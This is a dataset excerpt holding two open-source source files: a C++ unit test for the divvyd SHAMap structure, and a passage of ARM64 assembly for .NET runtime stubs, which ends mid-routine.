text stringlengths 1 1.05M |
|---|
//------------------------------------------------------------------------------
/*
This file is part of divvyd: https://github.com/xdv/divvyd
Copyright (c) 2012, 2013 Ripple Labs Inc.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
//==============================================================================
#include <BeastConfig.h>
#include <divvy/shamap/SHAMap.h>
#include <divvy/shamap/tests/common.h>
#include <divvy/basics/Blob.h>
#include <divvy/basics/StringUtilities.h>
#include <beast/unit_test/suite.h>
#include <beast/utility/Journal.h>
namespace divvy {
namespace shamap {
namespace tests {
inline bool operator== (SHAMapItem const& a, SHAMapItem const& b) { return a.getTag() == b.getTag(); }
inline bool operator!= (SHAMapItem const& a, SHAMapItem const& b) { return a.getTag() != b.getTag(); }
inline bool operator== (SHAMapItem const& a, uint256 const& b) { return a.getTag() == b; }
inline bool operator!= (SHAMapItem const& a, uint256 const& b) { return a.getTag() != b; }
class SHAMap_test : public beast::unit_test::suite
{
public:
static Blob IntToVUC (int v)
{
Blob vuc;
for (int i = 0; i < 32; ++i)
vuc.push_back (static_cast<unsigned char> (v));
return vuc;
}
void run ()
{
testcase ("add/traverse");
beast::Journal const j; // debug journal
tests::TestFamily f(j);
// h3 and h4 differ only in the leaf, same terminal node (level 19)
uint256 h1, h2, h3, h4, h5;
h1.SetHex ("092891fe4ef6cee585fdc6fda0e09eb4d386363158ec3321b8123e5a772c6ca7");
h2.SetHex ("436ccbac3347baa1f1e53baeef1f43334da88f1f6d70d963b833afd6dfa289fe");
h3.SetHex ("b92891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
h4.SetHex ("b92891fe4ef6cee585fdc6fda2e09eb4d386363158ec3321b8123e5a772c6ca8");
h5.SetHex ("a92891fe4ef6cee585fdc6fda0e09eb4d386363158ec3321b8123e5a772c6ca7");
SHAMap sMap (SHAMapType::FREE, f, beast::Journal());
SHAMapItem i1 (h1, IntToVUC (1)), i2 (h2, IntToVUC (2)), i3 (h3, IntToVUC (3)), i4 (h4, IntToVUC (4)), i5 (h5, IntToVUC (5));
unexpected (!sMap.addItem (i2, true, false), "no add");
unexpected (!sMap.addItem (i1, true, false), "no add");
std::shared_ptr<SHAMapItem> i;
i = sMap.peekFirstItem ();
unexpected (!i || (*i != i1), "bad traverse");
i = sMap.peekNextItem (i->getTag ());
unexpected (!i || (*i != i2), "bad traverse");
i = sMap.peekNextItem (i->getTag ());
unexpected (i, "bad traverse");
sMap.addItem (i4, true, false);
sMap.delItem (i2.getTag ());
sMap.addItem (i3, true, false);
i = sMap.peekFirstItem ();
unexpected (!i || (*i != i1), "bad traverse");
i = sMap.peekNextItem (i->getTag ());
unexpected (!i || (*i != i3), "bad traverse");
i = sMap.peekNextItem (i->getTag ());
unexpected (!i || (*i != i4), "bad traverse");
i = sMap.peekNextItem (i->getTag ());
unexpected (i, "bad traverse");
testcase ("snapshot");
uint256 mapHash = sMap.getHash ();
std::shared_ptr<SHAMap> map2 = sMap.snapShot (false);
unexpected (sMap.getHash () != mapHash, "bad snapshot");
unexpected (map2->getHash () != mapHash, "bad snapshot");
unexpected (!sMap.delItem (sMap.peekFirstItem ()->getTag ()), "bad mod");
unexpected (sMap.getHash () == mapHash, "bad snapshot");
unexpected (map2->getHash () != mapHash, "bad snapshot");
testcase ("build/tear");
{
std::vector<uint256> keys(8);
keys[0].SetHex ("b92891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[1].SetHex ("b92881fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[2].SetHex ("b92691fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[3].SetHex ("b92791fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[4].SetHex ("b91891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[5].SetHex ("b99891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[6].SetHex ("f22891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
keys[7].SetHex ("292891fe4ef6cee585fdc6fda1e09eb4d386363158ec3321b8123e5a772c6ca8");
std::vector<uint256> hashes(8);
hashes[0].SetHex ("B7387CFEA0465759ADC718E8C42B52D2309D179B326E239EB5075C64B6281F7F");
hashes[1].SetHex ("FBC195A9592A54AB44010274163CB6BA95F497EC5BA0A8831845467FB2ECE266");
hashes[2].SetHex ("4E7D2684B65DFD48937FFB775E20175C43AF0C94066F7D5679F51AE756795B75");
hashes[3].SetHex ("7A2F312EB203695FFD164E038E281839EEF06A1B99BFC263F3CECC6C74F93E07");
hashes[4].SetHex ("395A6691A372387A703FB0F2C6D2C405DAF307D0817F8F0E207596462B0E3A3E");
hashes[5].SetHex ("D044C0A696DE3169CC70AE216A1564D69DE96582865796142CE7D98A84D9DDE4");
hashes[6].SetHex ("76DCC77C4027309B5A91AD164083264D70B77B5E43E08AEDA5EBF94361143615");
hashes[7].SetHex ("DF4220E93ADC6F5569063A01B4DC79F8DB9553B6A3222ADE23DEA02BBE7230E5");
SHAMap map (SHAMapType::FREE, f, beast::Journal());
expect (map.getHash() == uint256(), "bad initial empty map hash");
for (int i = 0; i < keys.size(); ++i)
{
SHAMapItem item (keys[i], IntToVUC (i));
map.addItem (item, true, false);
expect (map.getHash() == hashes[i], "bad buildup map hash");
}
for (int i = keys.size() - 1; i >= 0; --i)
{
expect (map.getHash() == hashes[i], "bad teardown hash");
map.delItem (keys[i]);
}
expect (map.getHash() == uint256(), "bad final empty map hash");
}
}
};
BEAST_DEFINE_TESTSUITE(SHAMap,divvy_app,divvy);
} // tests
} // shamap
} // divvy
|
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
;; ==++==
;;
;;
;; ==--==
#include "ksarm64.h"
#include "asmconstants.h"
#include "asmmacros.h"
IMPORT VirtualMethodFixupWorker
IMPORT ExternalMethodFixupWorker
IMPORT PreStubWorker
IMPORT NDirectImportWorker
IMPORT VSD_ResolveWorker
IMPORT StubDispatchFixupWorker
IMPORT JIT_InternalThrow
IMPORT ComPreStubWorker
IMPORT COMToCLRWorker
IMPORT CallDescrWorkerUnwindFrameChainHandler
IMPORT UMEntryPrestubUnwindFrameChainHandler
IMPORT UMThunkStubUnwindFrameChainHandler
IMPORT TheUMEntryPrestubWorker
IMPORT GetThread
IMPORT CreateThreadBlockThrow
IMPORT UMThunkStubRareDisableWorker
IMPORT UM2MDoADCallBack
IMPORT GetCurrentSavedRedirectContext
IMPORT LinkFrameAndThrow
IMPORT FixContextHandler
IMPORT OnHijackWorker
#ifdef FEATURE_READYTORUN
IMPORT DynamicHelperWorker
#endif
IMPORT g_ephemeral_low
IMPORT g_ephemeral_high
IMPORT g_lowest_address
IMPORT g_highest_address
IMPORT g_card_table
IMPORT g_TrapReturningThreads
IMPORT g_dispatch_cache_chain_success_counter
#ifdef WRITE_BARRIER_CHECK
SETALIAS g_GCShadow, ?g_GCShadow@@3PEAEEA
SETALIAS g_GCShadowEnd, ?g_GCShadowEnd@@3PEAEEA
IMPORT g_lowest_address
IMPORT $g_GCShadow
IMPORT $g_GCShadowEnd
#endif // WRITE_BARRIER_CHECK
IMPORT JIT_GetSharedNonGCStaticBase_Helper
IMPORT JIT_GetSharedGCStaticBase_Helper
TEXTAREA
;; LPVOID __stdcall GetCurrentIP(void);
LEAF_ENTRY GetCurrentIP
mov x0, lr
ret lr
LEAF_END
;; LPVOID __stdcall GetCurrentSP(void);
LEAF_ENTRY GetCurrentSP
mov x0, sp
ret lr
LEAF_END
;;-----------------------------------------------------------------------------
;; This routine captures the machine state. It is used by helper method frame
;;-----------------------------------------------------------------------------
;;void LazyMachStateCaptureState(struct LazyMachState *pState);
LEAF_ENTRY LazyMachStateCaptureState
;; marks that this is not yet valid
mov w1, #0
str w1, [x0, #MachState__isValid]
str lr, [x0, #LazyMachState_captureIp]
;; str instruction does not save sp register directly so move to temp register
mov x1, sp
str x1, [x0, #LazyMachState_captureSp]
;; save non-volatile registers that can contain object references
add x1, x0, #LazyMachState_captureX19_X29
stp x19, x20, [x1, #(16*0)]
stp x21, x22, [x1, #(16*1)]
stp x23, x24, [x1, #(16*2)]
stp x25, x26, [x1, #(16*3)]
stp x27, x28, [x1, #(16*4)]
str x29, [x1, #(16*5)]
ret lr
LEAF_END
;
; If a preserved register were pushed onto the stack between
; the managed caller and the H_M_F, ptrX19_X29 will point to its
; location on the stack and it would have been updated on the
; stack by the GC already and it will be popped back into the
; appropriate register when the appropriate epilog is run.
;
; Otherwise, the register is preserved across all the code
; in this HCALL or FCALL, so we need to update those registers
; here because the GC will have updated our copies in the
; frame.
;
; So, if ptrX19_X29 points into the MachState, we need to update
; the register here. That's what this macro does.
;
MACRO
RestoreRegMS $regIndex, $reg
; Incoming:
;
; x0 = address of MachState
;
; $regIndex: Index of the register (x19-x29). For x19, index is 19.
; For x20, index is 20, and so on.
;
; $reg: Register name (e.g. x19, x20, etc)
;
; Get the address of the specified captured register from machine state
add x2, x0, #(MachState__captureX19_X29 + (($regIndex-19)*8))
; Get the content of specified preserved register pointer from machine state
ldr x3, [x0, #(MachState__ptrX19_X29 + (($regIndex-19)*8))]
cmp x2, x3
bne %FT0
ldr $reg, [x2]
0
MEND
; EXTERN_C int __fastcall HelperMethodFrameRestoreState(
; INDEBUG_COMMA(HelperMethodFrame *pFrame)
; MachState *pState
; )
LEAF_ENTRY HelperMethodFrameRestoreState
#ifdef _DEBUG
mov x0, x1
#endif
; If machine state is invalid, then simply exit
ldr w1, [x0, #MachState__isValid]
cmp w1, #0
beq Done
RestoreRegMS 19, X19
RestoreRegMS 20, X20
RestoreRegMS 21, X21
RestoreRegMS 22, X22
RestoreRegMS 23, X23
RestoreRegMS 24, X24
RestoreRegMS 25, X25
RestoreRegMS 26, X26
RestoreRegMS 27, X27
RestoreRegMS 28, X28
RestoreRegMS 29, X29
Done
; Its imperative that the return value of HelperMethodFrameRestoreState is zero
; as it is used in the state machine to loop until it becomes zero.
; Refer to HELPER_METHOD_FRAME_END macro for details.
mov x0,#0
ret lr
LEAF_END
; ------------------------------------------------------------------
; The call in ndirect import precode points to this function.
NESTED_ENTRY NDirectImportThunk
PROLOG_SAVE_REG_PAIR fp, lr, #-160!
SAVE_ARGUMENT_REGISTERS sp, 16
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 88
mov x0, x12
bl NDirectImportWorker
mov x12, x0
; pop the stack and restore original register state
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 88
RESTORE_ARGUMENT_REGISTERS sp, 16
EPILOG_RESTORE_REG_PAIR fp, lr, #160!
; If we got back from NDirectImportWorker, the MD has been successfully
; linked. Proceed to execute the original DLL call.
EPILOG_BRANCH_REG x12
NESTED_END
; ------------------------------------------------------------------
; The call in fixup precode initally points to this function.
; The pupose of this function is to load the MethodDesc and forward the call to prestub.
NESTED_ENTRY PrecodeFixupThunk
; x12 = FixupPrecode *
; On Exit
; x12 = MethodDesc*
; x13, x14 Trashed
; Inline computation done by FixupPrecode::GetMethodDesc()
ldrb w13, [x12, #Offset_PrecodeChunkIndex] ; m_PrecodeChunkIndex
ldrb w14, [x12, #Offset_MethodDescChunkIndex] ; m_MethodDescChunkIndex
add x12,x12,w13,uxtw #FixupPrecode_ALIGNMENT_SHIFT_1
add x13,x12,w13,uxtw #FixupPrecode_ALIGNMENT_SHIFT_2
ldr x13, [x13,#SIZEOF__FixupPrecode]
add x12,x13,w14,uxtw #MethodDesc_ALIGNMENT_SHIFT
b ThePreStub
NESTED_END
; ------------------------------------------------------------------
NESTED_ENTRY ThePreStub
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
mov x1, METHODDESC_REGISTER ; pMethodDesc
bl PreStubWorker
mov x9, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
EPILOG_BRANCH_REG x9
NESTED_END
;; ------------------------------------------------------------------
;; ThePreStubPatch()
LEAF_ENTRY ThePreStubPatch
nop
ThePreStubPatchLabel
EXPORT ThePreStubPatchLabel
ret lr
LEAF_END
;-----------------------------------------------------------------------------
; The following Macros help in WRITE_BARRIER Implemetations
; WRITE_BARRIER_ENTRY
;
; Declare the start of a write barrier function. Use similarly to NESTED_ENTRY. This is the only legal way
; to declare a write barrier function.
;
MACRO
WRITE_BARRIER_ENTRY $name
LEAF_ENTRY $name
MEND
; WRITE_BARRIER_END
;
; The partner to WRITE_BARRIER_ENTRY, used like NESTED_END.
;
MACRO
WRITE_BARRIER_END $__write_barrier_name
LEAF_END_MARKED $__write_barrier_name
MEND
; void JIT_ByRefWriteBarrier
; On entry:
; x13 : the source address (points to object reference to write)
; x14 : the destination address (object reference written here)
;
; On exit:
; x12 : trashed
; x13 : incremented by 8
; x14 : incremented by 8
; x15 : trashed
;
WRITE_BARRIER_ENTRY JIT_ByRefWriteBarrier
ldr x15, [x13], 8
b JIT_CheckedWriteBarrier
WRITE_BARRIER_END JIT_ByRefWriteBarrier
;-----------------------------------------------------------------------------
; Simple WriteBarriers
; void JIT_CheckedWriteBarrier(Object** dst, Object* src)
; On entry:
; x14 : the destination address (LHS of the assignment)
; x15 : the object reference (RHS of the assignment)
;
; On exit:
; x12 : trashed
; x14 : incremented by 8
; x15 : trashed
;
WRITE_BARRIER_ENTRY JIT_CheckedWriteBarrier
adrp x12, g_lowest_address
ldr x12, [x12, g_lowest_address]
cmp x14, x12
blt NotInHeap
adrp x12, g_highest_address
ldr x12, [x12, g_highest_address]
cmp x14, x12
blt JIT_WriteBarrier
NotInHeap
str x15, [x14], 8
ret lr
WRITE_BARRIER_END JIT_CheckedWriteBarrier
; void JIT_WriteBarrier(Object** dst, Object* src)
; On entry:
; x14 : the destination address (LHS of the assignment)
; x15 : the object reference (RHS of the assignment)
;
; On exit:
; x12 : trashed
; x14 : incremented by 8
; x15 : trashed
;
WRITE_BARRIER_ENTRY JIT_WriteBarrier
stlr x15, [x14]
#ifdef WRITE_BARRIER_CHECK
; Update GC Shadow Heap
; need temporary registers. Save them before using.
stp x12, x13, [sp, #-16]!
; Compute address of shadow heap location:
; pShadow = $g_GCShadow + (x14 - g_lowest_address)
adrp x12, g_lowest_address
ldr x12, [x12, g_lowest_address]
sub x12, x14, x12
adrp x13, $g_GCShadow
ldr x13, [x13, $g_GCShadow]
add x12, x13, x12
; if (pShadow >= $g_GCShadowEnd) goto end
adrp x13, $g_GCShadowEnd
ldr x13, [x13, $g_GCShadowEnd]
cmp x12, x13
bhs shadowupdateend
; *pShadow = x15
str x15, [x12]
; Ensure that the write to the shadow heap occurs before the read from the GC heap so that race
; conditions are caught by INVALIDGCVALUE.
dmb ish
; if ([x14] == x15) goto end
ldr x13, [x14]
cmp x13, x15
beq shadowupdateend
; *pShadow = INVALIDGCVALUE (0xcccccccd)
mov x13, #0
movk x13, #0xcccd
movk x13, #0xcccc, LSL #16
str x13, [x12]
shadowupdateend
ldp x12, x13, [sp],#16
#endif
; Branch to Exit if the reference is not in the Gen0 heap
;
adrp x12, g_ephemeral_low
ldr x12, [x12, g_ephemeral_low]
cmp x15, x12
blt Exit
adrp x12, g_ephemeral_high
ldr x12, [x12, g_ephemeral_high]
cmp x15, x12
bgt Exit
; Check if we need to update the card table
adrp x12, g_card_table
ldr x12, [x12, g_card_table]
add x15, x12, x14 lsr #11
ldrb w12, [x15]
cmp x12, 0xFF
beq Exit
UpdateCardTable
mov x12, 0xFF
strb w12, [x15]
Exit
add x14, x14, 8
ret lr
WRITE_BARRIER_END JIT_WriteBarrier
; ------------------------------------------------------------------
; Start of the writeable code region
LEAF_ENTRY JIT_PatchedCodeStart
ret lr
LEAF_END
; ------------------------------------------------------------------
; End of the writeable code region
LEAF_ENTRY JIT_PatchedCodeLast
ret lr
LEAF_END
;------------------------------------------------
; VirtualMethodFixupStub
;
; In NGEN images, virtual slots inherited from cross-module dependencies
; point to a jump thunk that calls into the following function that will
; call into a VM helper. The VM helper is responsible for patching up
; thunk, upon executing the precode, so that all subsequent calls go directly
; to the actual method body.
;
; This is done lazily for performance reasons.
;
; On entry:
;
; x0 = "this" pointer
; x12 = Address of thunk
NESTED_ENTRY VirtualMethodFixupStub
; Save arguments and return address
PROLOG_SAVE_REG_PAIR fp, lr, #-160!
SAVE_ARGUMENT_REGISTERS sp, 16
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 88
; Refer to ZapImportVirtualThunk::Save
; for details on this.
;
; Move the thunk start address in x1
mov x1, x12
; Call the helper in the VM to perform the actual fixup
; and tell us where to tail call. x0 already contains
; the this pointer.
bl VirtualMethodFixupWorker
; On return, x0 contains the target to tailcall to
mov x12, x0
; pop the stack and restore original register state
RESTORE_ARGUMENT_REGISTERS sp, 16
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 88
EPILOG_RESTORE_REG_PAIR fp, lr, #160!
PATCH_LABEL VirtualMethodFixupPatchLabel
; and tailcall to the actual method
EPILOG_BRANCH_REG x12
NESTED_END
;------------------------------------------------
; ExternalMethodFixupStub
;
; In NGEN images, calls to cross-module external methods initially
; point to a jump thunk that calls into the following function that will
; call into a VM helper. The VM helper is responsible for patching up the
; thunk, upon executing the precode, so that all subsequent calls go directly
; to the actual method body.
;
; This is done lazily for performance reasons.
;
; On entry:
;
; x12 = Address of thunk
NESTED_ENTRY ExternalMethodFixupStub
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
mov x1, x12 ; pThunk
bl ExternalMethodFixupWorker
; mov the address we patched to in x12 so that we can tail call to it
mov x12, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
PATCH_LABEL ExternalMethodFixupPatchLabel
EPILOG_BRANCH_REG x12
NESTED_END
; void SinglecastDelegateInvokeStub(Delegate *pThis)
LEAF_ENTRY SinglecastDelegateInvokeStub
cmp x0, #0
beq LNullThis
ldr x16, [x0, #DelegateObject___methodPtr]
ldr x0, [x0, #DelegateObject___target]
br x16
LNullThis
mov x0, #CORINFO_NullReferenceException_ASM
b JIT_InternalThrow
LEAF_END
#ifdef FEATURE_COMINTEROP
; ------------------------------------------------------------------
; COM to CLR stub called the first time a particular method is invoked.
;
; On entry:
; x12 : ComCallMethodDesc* provided by prepad thunk
; plus user arguments in registers and on the stack
;
; On exit:
; tail calls to real method
;
NESTED_ENTRY ComCallPreStub
GBLA ComCallPreStub_FrameSize
GBLA ComCallPreStub_StackAlloc
GBLA ComCallPreStub_FrameOffset
GBLA ComCallPreStub_ErrorReturnOffset
GBLA ComCallPreStub_FirstStackAdjust
ComCallPreStub_FrameSize SETA (SIZEOF__GSCookie + SIZEOF__ComMethodFrame)
ComCallPreStub_FirstStackAdjust SETA (SIZEOF__ArgumentRegisters + 2 * 8) ; reg args , fp & lr already pushed
ComCallPreStub_StackAlloc SETA ComCallPreStub_FrameSize - ComCallPreStub_FirstStackAdjust
ComCallPreStub_StackAlloc SETA ComCallPreStub_StackAlloc + SIZEOF__FloatArgumentRegisters + 8; 8 for ErrorReturn
IF ComCallPreStub_StackAlloc:MOD:16 != 0
ComCallPreStub_StackAlloc SETA ComCallPreStub_StackAlloc + 8
ENDIF
ComCallPreStub_FrameOffset SETA (ComCallPreStub_StackAlloc - (SIZEOF__ComMethodFrame - ComCallPreStub_FirstStackAdjust))
ComCallPreStub_ErrorReturnOffset SETA SIZEOF__FloatArgumentRegisters
IF (ComCallPreStub_FirstStackAdjust):MOD:16 != 0
ComCallPreStub_FirstStackAdjust SETA ComCallPreStub_FirstStackAdjust + 8
ENDIF
; Save arguments and return address
PROLOG_SAVE_REG_PAIR fp, lr, #-ComCallPreStub_FirstStackAdjust!
PROLOG_STACK_ALLOC ComCallPreStub_StackAlloc
SAVE_ARGUMENT_REGISTERS sp, (16+ComCallPreStub_StackAlloc)
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0
str x12, [sp, #(ComCallPreStub_FrameOffset + UnmanagedToManagedFrame__m_pvDatum)]
add x0, sp, #(ComCallPreStub_FrameOffset)
add x1, sp, #(ComCallPreStub_ErrorReturnOffset)
bl ComPreStubWorker
cbz x0, ComCallPreStub_ErrorExit
mov x12, x0
; pop the stack and restore original register state
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 0
RESTORE_ARGUMENT_REGISTERS sp, (16+ComCallPreStub_StackAlloc)
EPILOG_STACK_FREE ComCallPreStub_StackAlloc
EPILOG_RESTORE_REG_PAIR fp, lr, #ComCallPreStub_FirstStackAdjust!
; and tailcall to the actual method
EPILOG_BRANCH_REG x12
ComCallPreStub_ErrorExit
ldr x0, [sp, #(ComCallPreStub_ErrorReturnOffset)] ; ErrorReturn
; pop the stack
EPILOG_STACK_FREE ComCallPreStub_StackAlloc
EPILOG_RESTORE_REG_PAIR fp, lr, #ComCallPreStub_FirstStackAdjust!
EPILOG_RETURN
NESTED_END
; ------------------------------------------------------------------
; COM to CLR stub which sets up a ComMethodFrame and calls COMToCLRWorker.
;
; On entry:
; x12 : ComCallMethodDesc* provided by prepad thunk
; plus user arguments in registers and on the stack
;
; On exit:
; Result in x0/d0 as per the real method being called
;
NESTED_ENTRY GenericComCallStub
GBLA GenericComCallStub_FrameSize
GBLA GenericComCallStub_StackAlloc
GBLA GenericComCallStub_FrameOffset
GBLA GenericComCallStub_FirstStackAdjust
GenericComCallStub_FrameSize SETA (SIZEOF__GSCookie + SIZEOF__ComMethodFrame)
GenericComCallStub_FirstStackAdjust SETA (SIZEOF__ArgumentRegisters + 2 * 8)
GenericComCallStub_StackAlloc SETA GenericComCallStub_FrameSize - GenericComCallStub_FirstStackAdjust
GenericComCallStub_StackAlloc SETA GenericComCallStub_StackAlloc + SIZEOF__FloatArgumentRegisters
IF (GenericComCallStub_StackAlloc):MOD:16 != 0
GenericComCallStub_StackAlloc SETA GenericComCallStub_StackAlloc + 8
ENDIF
GenericComCallStub_FrameOffset SETA (GenericComCallStub_StackAlloc - (SIZEOF__ComMethodFrame - GenericComCallStub_FirstStackAdjust))
IF (GenericComCallStub_FirstStackAdjust):MOD:16 != 0
GenericComCallStub_FirstStackAdjust SETA GenericComCallStub_FirstStackAdjust + 8
ENDIF
; Save arguments and return address
PROLOG_SAVE_REG_PAIR fp, lr, #-GenericComCallStub_FirstStackAdjust!
PROLOG_STACK_ALLOC GenericComCallStub_StackAlloc
SAVE_ARGUMENT_REGISTERS sp, (16+GenericComCallStub_StackAlloc)
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0
str x12, [sp, #(GenericComCallStub_FrameOffset + UnmanagedToManagedFrame__m_pvDatum)]
add x1, sp, #GenericComCallStub_FrameOffset
bl COMToCLRWorker
; pop the stack
EPILOG_STACK_FREE GenericComCallStub_StackAlloc
EPILOG_RESTORE_REG_PAIR fp, lr, #GenericComCallStub_FirstStackAdjust!
EPILOG_RETURN
NESTED_END
; ------------------------------------------------------------------
; COM to CLR stub called from COMToCLRWorker that actually dispatches to the real managed method.
;
; On entry:
; x0 : dwStackSlots, count of argument stack slots to copy
; x1 : pFrame, ComMethodFrame pushed by GenericComCallStub above
; x2 : pTarget, address of code to call
; x3 : pSecretArg, hidden argument passed to target above in x12
; x4 : pDangerousThis, managed 'this' reference
;
; On exit:
; Result in x0/d0 as per the real method being called
;
NESTED_ENTRY COMToCLRDispatchHelper,,CallDescrWorkerUnwindFrameChainHandler
PROLOG_SAVE_REG_PAIR fp, lr, #-16!
cbz x0, COMToCLRDispatchHelper_RegSetup
add x9, x1, #SIZEOF__ComMethodFrame
add x9, x9, x0, LSL #3
COMToCLRDispatchHelper_StackLoop
ldr x8, [x9, #-8]!
str x8, [sp, #-8]!
sub x0, x0, #1
cbnz x0, COMToCLRDispatchHelper_StackLoop
COMToCLRDispatchHelper_RegSetup
RESTORE_FLOAT_ARGUMENT_REGISTERS x1, -1 * GenericComCallStub_FrameOffset
mov lr, x2
mov x12, x3
mov x0, x4
ldp x2, x3, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 16)]
ldp x4, x5, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 32)]
ldp x6, x7, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 48)]
ldr x8, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 64)]
ldr x1, [x1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 8)]
blr lr
EPILOG_STACK_RESTORE
EPILOG_RESTORE_REG_PAIR fp, lr, #16!
EPILOG_RETURN
NESTED_END
#endif ; FEATURE_COMINTEROP
;
; x12 = UMEntryThunk*
;
NESTED_ENTRY TheUMEntryPrestub,,UMEntryPrestubUnwindFrameChainHandler
; Save arguments and return address
PROLOG_SAVE_REG_PAIR fp, lr, #-160!
SAVE_ARGUMENT_REGISTERS sp, 16
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 88
mov x0, x12
bl TheUMEntryPrestubWorker
; save real target address in x12.
mov x12, x0
; pop the stack and restore original register state
RESTORE_ARGUMENT_REGISTERS sp, 16
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 88
EPILOG_RESTORE_REG_PAIR fp, lr, #160!
; and tailcall to the actual method
EPILOG_BRANCH_REG x12
NESTED_END
;
; x12 = UMEntryThunk*
;
NESTED_ENTRY UMThunkStub,,UMThunkStubUnwindFrameChainHandler
; Save arguments and return address
PROLOG_SAVE_REG_PAIR fp, lr, #-112! ; 72 for regArgs, 8 for x19 & 8 for x12 & 8 for 16-byte align
; save callee saved reg x19. x19 is used in the method to store thread*
PROLOG_SAVE_REG x19, #96
SAVE_ARGUMENT_REGISTERS sp, 16
GBLA UMThunkStub_HiddenArg ; offset of saved UMEntryThunk *
GBLA UMThunkStub_StackArgs ; offset of original stack args (total size of UMThunkStub frame)
UMThunkStub_HiddenArg SETA 88
UMThunkStub_StackArgs SETA 112
; save UMEntryThunk*
str x12, [sp, #UMThunkStub_HiddenArg]
; assuming GetThread does not clobber FP Args
bl GetThread
cbz x0, UMThunkStub_DoThreadSetup
UMThunkStub_HaveThread
mov x19, x0 ; x19 = Thread *
mov x9, 1
; m_fPreemptiveGCDisabled is 4 byte field so using 32-bit variant
str w9, [x19, #Thread__m_fPreemptiveGCDisabled]
ldr x2, =g_TrapReturningThreads
ldr x3, [x2]
; assuming x0 contains Thread* before jumping to UMThunkStub_DoTrapReturningThreads
cbnz x3, UMThunkStub_DoTrapReturningThreads
UMThunkStub_InCooperativeMode
ldr x12, [fp, #UMThunkStub_HiddenArg] ; x12 = UMEntryThunk*
ldr x0, [x19, #Thread__m_pDomain]
; m_dwDomainId is 4 bytes so using 32-bit variant
ldr w1, [x12, #UMEntryThunk__m_dwDomainId]
ldr w0, [x0, #AppDomain__m_dwId]
cmp w0, w1
bne UMThunkStub_WrongAppDomain
ldr x3, [x12, #UMEntryThunk__m_pUMThunkMarshInfo] ; x3 = m_pUMThunkMarshInfo
; m_cbActualArgSize is UINT32 and hence occupies 4 bytes
ldr w2, [x3, #UMThunkMarshInfo__m_cbActualArgSize] ; w2 = Stack arg bytes
cbz w2, UMThunkStub_RegArgumentsSetup
; extend to 64-bits
uxtw x2, w2
; Source pointer
add x0, fp, #UMThunkStub_StackArgs
; move source pointer to end of Stack Args
add x0, x0, x2
; Count of stack slot pairs to copy (divide by 16)
lsr x1, x2, #4
; Is there an extra stack slot (can happen when stack arg bytes not multiple of 16)
and x2, x2, #8
; If yes then start source pointer from 16 byte aligned stack slot
add x0, x0, x2
; increment stack slot pair count by 1 if x2 is not zero
add x1, x1, x2, LSR #3
UMThunkStub_StackLoop
ldp x4, x5, [x0, #-16]! ; pre-Index
stp x4, x5, [sp, #-16]! ; pre-Index
subs x1, x1, #1
bne UMThunkStub_StackLoop
UMThunkStub_RegArgumentsSetup
ldr x16, [x3, #UMThunkMarshInfo__m_pILStub]
RESTORE_ARGUMENT_REGISTERS fp, 16
blr x16
UMThunkStub_PostCall
mov x4, 0
; m_fPreemptiveGCDisabled is 4 byte field so using 32-bit variant
str w4, [x19, #Thread__m_fPreemptiveGCDisabled]
EPILOG_STACK_RESTORE
EPILOG_RESTORE_REG x19, #96
EPILOG_RESTORE_REG_PAIR fp, lr, #112!
EPILOG_RETURN
UMThunkStub_DoThreadSetup
sub sp, sp, #SIZEOF__FloatArgumentRegisters
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0
bl CreateThreadBlockThrow
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 0
add sp, sp, #SIZEOF__FloatArgumentRegisters
b UMThunkStub_HaveThread
UMThunkStub_DoTrapReturningThreads
sub sp, sp, #SIZEOF__FloatArgumentRegisters
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0
; x0 already contains Thread* pThread
; UMEntryThunk* pUMEntry
ldr x1, [fp, #UMThunkStub_HiddenArg]
